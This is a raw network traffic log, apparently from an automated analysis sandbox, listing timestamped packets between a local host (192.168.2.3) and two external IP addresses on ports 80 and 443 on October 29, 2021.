Oct 29, 2021 14:11:12.961355925 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.962054968 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.962110043 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.962496996 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.962516069 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.962845087 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.962878942 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.963061094 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.963093996 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.963242054 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.963499069 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.963515043 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.964493990 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.964509010 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.964596033 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.964709044 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.964718103 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.964802027 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.964855909 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.005403996 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.005460978 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.005502939 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.005544901 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.005580902 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.005620003 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.005656958 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.005709887 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.005750895 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.005788088 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.005827904 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.005867004 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.005903006 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.005942106 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.005980015 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.006016016 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.006053925 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.006091118 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.006130934 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.006170988 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.006206989 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.006244898 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.006283045 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.006319046 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.006531954 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.006587982 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.006594896 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.009881973 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.009934902 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.009974957 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.010014057 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.010051012 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.010088921 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.010127068 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.010164976 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.010205984 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.010241985 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.010279894 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.010319948 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.010356903 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.010395050 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.010432005 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.010468960 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.010509014 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.010519028 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.010549068 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.010586977 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.010627031 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.010663033 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.010700941 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.010740042 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.010785103 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.010826111 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.010862112 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.010899067 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.010936975 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.010973930 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.011013031 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.011446953 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.011485100 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.011496067 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.011524916 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.011562109 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.011600971 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.011639118 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.011676073 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.011713982 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.011753082 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.011789083 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.011826992 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.011862993 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.011900902 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.011940002 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.011976957 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.012016058 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.012053013 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.012089014 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.012478113 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.012502909 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.012522936 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.012559891 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.012598038 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.012634993 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.012672901 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.012711048 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.012748003 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.013494968 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.014491081 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.015502930 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.062242985 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.062318087 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.062432051 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.062511921 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.062545061 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.062562943 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.062598944 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.062716961 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.063524961 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.064518929 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.064950943 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.073918104 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.073961973 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.074001074 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.074039936 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.074075937 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.074115038 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.074151993 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.074187994 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.074227095 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.074265003 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.074302912 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.074341059 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.074378014 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.074415922 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.074453115 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.074489117 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.074525118 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.074532986 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.074556112 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.074588060 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.074625015 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.074626923 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.074667931 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.074707031 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.074743032 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.074781895 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.074820042 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.074855089 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.074892998 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.074912071 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.074929953 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.074958086 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.074968100 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.074973106 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.074980974 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.075009108 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.075043917 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.075047970 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.075081110 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.075119972 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.075155020 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.075193882 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.075231075 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.075268984 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.075295925 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.075308084 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.075325966 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.075339079 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.075344086 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.075382948 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.075390100 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.075419903 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.075457096 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.075483084 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.075495005 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.075531960 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.075570107 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.075608969 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.075644016 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.075681925 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.075733900 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.075805902 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.077959061 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.078000069 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.078037977 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.078074932 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.078114986 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.078152895 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.078183889 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.078212976 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.078243971 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.078280926 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.078316927 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.078353882 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.078391075 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.078428984 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.078466892 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.078504086 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.078613043 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.078725100 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.078823090 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.078862906 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.078900099 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.078937054 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.078982115 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.078998089 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.079021931 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.079061985 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.079070091 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.079101086 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.079139948 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.079158068 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.079175949 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.079206944 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.079245090 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.079253912 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.079283953 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.079289913 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.079323053 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.079359055 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.079396963 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.079433918 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.079469919 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.079483032 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.079508066 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.079545975 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.079556942 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.079711914 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.079758883 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.079787970 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.079811096 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.079818964 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.079857111 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.079896927 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.079936028 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.079996109 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.080032110 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.080069065 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.080106974 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.080142975 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.080179930 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.080241919 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.080280066 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.080318928 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.080358028 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.080395937 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.080431938 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.080468893 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.080507040 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.080513954 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.080544949 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.080583096 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.080619097 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.080656052 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.080693007 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.080729008 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.080766916 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.080804110 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.080842018 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.080909967 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.080949068 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.080984116 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.081022978 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.081059933 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.081096888 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.081449032 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.081486940 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.081521034 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.081525087 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.081563950 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.081600904 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.081638098 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.081675053 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.081712961 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.081753969 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.081789017 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.082484961 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.082506895 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.082526922 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.082565069 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.082613945 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.082643032 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.082669973 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.082698107 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.082725048 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.082753897 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.082782030 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.082808971 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.083512068 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.084428072 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.084481001 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.113765955 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.116677046 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.116718054 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.142893076 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.142947912 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.142987013 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.143027067 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.143064976 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.143104076 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.143141985 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.143179893 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.143218994 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.143254995 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.143292904 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.143331051 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.143368006 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.143405914 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.143441916 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.143481016 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.143520117 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.143538952 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.143557072 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.143594980 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.143635035 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.143671036 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.143708944 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.143747091 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.143789053 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.143829107 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.143877029 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.143915892 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.143955946 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.143992901 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.144030094 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.144077063 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.144114971 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.144153118 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.144190073 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.144227982 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.144268036 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.144304037 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.144341946 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.144380093 CEST	80	50094	193.56.146.214	192.168.2.3
